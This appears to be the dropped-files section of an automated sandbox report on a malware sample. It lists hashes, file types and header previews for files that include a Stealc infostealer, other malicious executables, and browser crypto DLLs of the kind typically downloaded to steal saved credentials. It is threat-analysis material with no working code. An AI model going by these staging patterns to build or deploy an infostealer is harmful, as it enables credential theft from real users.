Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.014230202761249
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXqEXQY:YWLSGTt1o9LuLgfGBPAzkVj/T8laE9
MD5:	632A1C380ADFD303C0023F8D36CB92B9
SHA1:	17C2AAA854710BA13ACCA9E11EA7EA3D39E3D017
SHA-256:	6C431A6B890FAB1F63823E8290BF477B3A7EC0C8F2506225177053F5B8E86B59
SHA-512:	39896D4DB68B65BF7B4A5BB021050007DD3547B3687C9B13879F0ABA04D9F5C01DAFA4B05F5C5854B407A5C56DC36BA0D0D181E88ADCCE625F55E4B0B1306B9F
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732218648017673}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b3f78dcd-4fb3-4029-97d5-60e7fca23c6b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60406
Entropy (8bit):	6.101107988533061
Encrypted:	false
SSDEEP:	1536:sMk1rT8Hcneb5CBS2qX7bxzTB3o2gorQXdbir:sMYrT88G5kS20fUXdbM
MD5:	4C683598C1193179D65E52E4E0E34717
SHA1:	79C88EAE40B68402B72244C0FB88625134392B29
SHA-256:	9067282588D6C58A1E75077A0FD0219B3ED069C8D8EB1398FCD94CC6BAE610AF
SHA-512:	4BEE4CE986015AC0460F00638E96FCED8632D11BE53F1092B465B97083FC736E0C482FF1FB0B8F29A7078CCF51FA961C5A3337487F172D974863AECFA215A648
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"a9f2e339-8756-4e48-b73c-e709096ec641"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.858561534682831
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxfxl9Il8u/ssch7NtR70bKK07cd1rc:mWYefhpTQOK077
MD5:	9605EA5C5ECD0ADFC0CC0920ED30E455
SHA1:	346F131144474C13325D93DD5A20C672C52EDBB2
SHA-256:	79B7D8F5FEB4B2C130131D1960DE82B5A4693475E58D816BE687DCA152206B73
SHA-512:	A188B61C0CE5B72C3BC55AA14C8ACBC5D0E96F29969BC47ABD8B905B7EB2BFA94E6D5A83E0A6FA10CDB1666D46A62FE5DD12D4C42AD518E5ED0DB87D097E2AEC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.P.c.1.W.G.w.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.u.R.t.P.p.z.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.003507548423466
Encrypted:	false
SSDEEP:	96:eYa0mlHyakapUcsPAyv6rp0wSfVR9ptT7chtHSjcSJbM:euKYcshQp0w0V7Qryj3i
MD5:	4AC88B535E79681205EFE65AAB6C175F
SHA1:	92270DF5106FBB0C545014E9E1B25A51638CBD94
SHA-256:	F4DDD01BC8A8CE62D6FB588ECCB4CCFC0054C63672F4EA603BE254832AF50A4B
SHA-512:	97AB56B7196D17D7AFD67BA0EB89EBC8A919DCDC35AEC42D1067B520A6CEC2CDC9C3CA41FC420F6B3814ACDE62DA6F4F57020F458CA7FF40057E76C603D6E504
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".e.B.T.X.P.W.Q.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.u.R.t.P.p.z.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.914495830437015
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xmxl9Il8ut0jCy4a1DabV+WXQsomh+H4TfxW+lXKd/vc:asY70jxDa0WXemhrTfxW+ln
MD5:	5CF84A5A3AC833F4FD61C38DF544155B
SHA1:	181D3598D64C6C25B2420DDE313CA2F673F91755
SHA-256:	83395C62A9EF4FD566B3930DA177C52432BDF34413C4186B135D0134EDEDEB3B
SHA-512:	DEB9E2E6038A30B0EAD3EAD0CFC0F1B4B65C8BE207168F9C1AD55EC51FCD509F2BB204E551AF18D3AAA82BCDA3E6E0DFB382DB06D4599693FAE49246D632110E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".0.l.0.8.b.j.V.a.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.u.R.t.P.p.z.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.392983586722436
Encrypted:	false
SSDEEP:	96:6NnQ31sHQ39NnQAbQyNnQE9QKNnQpdgEQTNnQcQBNnQgDQNNnQEwQmNnQQ3Qi:6NmN7NTNAqNuN9aNriNP
MD5:	AD2CF0B03F67BA1673A6F76D44BE052E
SHA1:	FA4DD1A14F4269DD835A40C2F2B53FC3C1C0BEB4
SHA-256:	9594B3A7D007853DE488DF8397F826888F84A8BD955BB0E217A797CF1012C71A
SHA-512:	3E3C687DEF4575840009A839A6245210586F8201696F20972812BF12499C9CEEF0A3E8383E4E587C6EFF339201A9575CE7F6AA3862A7F9D76F11768FBE365E26
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A0C2B2EC02B06F404C035BAB68A2B9BD",.. "id": "A0C2B2EC02B06F404C035BAB68A2B9BD",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A0C2B2EC02B06F404C035BAB68A2B9BD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/73FFCA939F48EDD72441ACBADC423B71",.. "id": "73FFCA939F48EDD72441ACBADC423B71",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/73FFCA939F48EDD72441ACBADC423B71"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\stealc_main1[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	244736
Entropy (8bit):	6.573733150918929
Encrypted:	false
SSDEEP:	3072:QmrsDjKoXngR6MJvWN3p8+sJkMRuki7ZDzUWXbhvGTPSJ08:r4DueZMFPl5IN1Dz5bePAz
MD5:	DA5C79183DABF3510E9C6D76F7C5C087
SHA1:	B06A732E61D91B4E2DDC0A288F7472F1C7952271
SHA-256:	093F37A701ED0A89CB89E00CF665F26760DE3A532EF97ECD5D75CE51223F932F
SHA-512:	C3FEF14434DDBBCF14A4E551257376AE0A57884662F22CAD24A009569C8E218839423A52D9715307F57565614699F8D66BC524C0F2CE7930A9B4BFF9F12EA0EC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\stealc_main1[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L...1.;g.....................@"...................@...........................%...........@..................................`..<.............................$..<...................................................................................text............................... ....rdata..t...........................@..@.data....+!..p.......R..............@....reloc..$]....$..^...^..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.376099772997169
Encrypted:	false
SSDEEP:	48:SfNaoQeWBTEQeffNaoQQQp/fNaoQhQLfNaoQr2c2w0UrU0U8QrY8:6NnQeWBTEQe3NnQQQpXNnQhQjNnQJ0UC
MD5:	FCA4523E59BF1E1F55F7B696F36DB6CC
SHA1:	2F77CDACE33E536E47E012388B920BE5D5B2F1C0
SHA-256:	7938D82BD52EC966AD68D73381523ECFDBFB1089B2934C22C23E841C0865A1DA
SHA-512:	14BB9D1807D28459B1E0E2ECBBE3E229CF1B20244E3BD36A23CF7C4076F5ACFD73CBFF10AB1E9213B2B255013735C5342959A18D35577ACE85D0DBF1BBDEAD33
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A928A57A100705C63103F534198B6A56",.. "id": "A928A57A100705C63103F534198B6A56",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A928A57A100705C63103F534198B6A56"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E72D1B5228B23B89A15C99810036756D",.. "id": "E72D1B5228B23B89A15C99810036756D",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E72D1B5228B23B89A15C99810036756D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1929216
Entropy (8bit):	7.949899796373039
Encrypted:	false
SSDEEP:	49152:JpqV4uD6HKqZp75N0/uDZKxKGphy38i9j/c4:JpqFEfZpNN0EZIp43xNc4
MD5:	D349980D19605CCCFB15081F93C9DB31
SHA1:	B9110F209ABC6D452F13E955592DF37A1E30DB24
SHA-256:	BA7B2F6E55A0B6B2AA5C2528E623CE40090C78E3BE8D30D4A07F9C8CA483AE94
SHA-512:	A3C8D876D1DF6983D53B91E4FE3D0A2164A46CB24C7121F8F50C1E8565093A17B45EF482FFD6CB89EED435CF118E6482DEBC8C2E7BB610F227C226093184E8BC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pL...........@...........................L...........@.................................W...k.......H....................PL..............................PL..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .P+.........................@...ahejieaj.`....2..R..................@...yokqpkiv.....`L......J..............@....taggant.0...pL.."...N..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4407808
Entropy (8bit):	7.986355631503035
Encrypted:	false
SSDEEP:	98304:hGZ16E+n3qlVmxQ+kqUuPIlAUHsyKp21eWsuIbFL/Tl:h0S6lVv1qdIGMD1eWsuI9l
MD5:	91118D3B44B4A457CF5ACADC62B39B5D
SHA1:	7DEA33E33708EE07D3E2475B9E5511E1722A7906
SHA-256:	8E63A9969E3C9DB4816C69FE88C5D323DAAE5E0DE24D547A73104A89694D8901
SHA-512:	FC1CE7EB30F2CB38E23FAC0111933F0550B838DB8274B1D7B509826B66D10EE21B51DBA3356639DDD8463258E3CE8F11C96F2DF49F550EE15D7F861ACC60BEC4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...@........J...@..........................p.......QC...@... ............................._.q.s...........................,/...................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...edxcvrdu..............'.............@...syqfiudc.....0........C.............@....taggant.0...@..."... C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0b4486a0-3714-4b55-8c66-ee133a838a5a.tmp

Download File

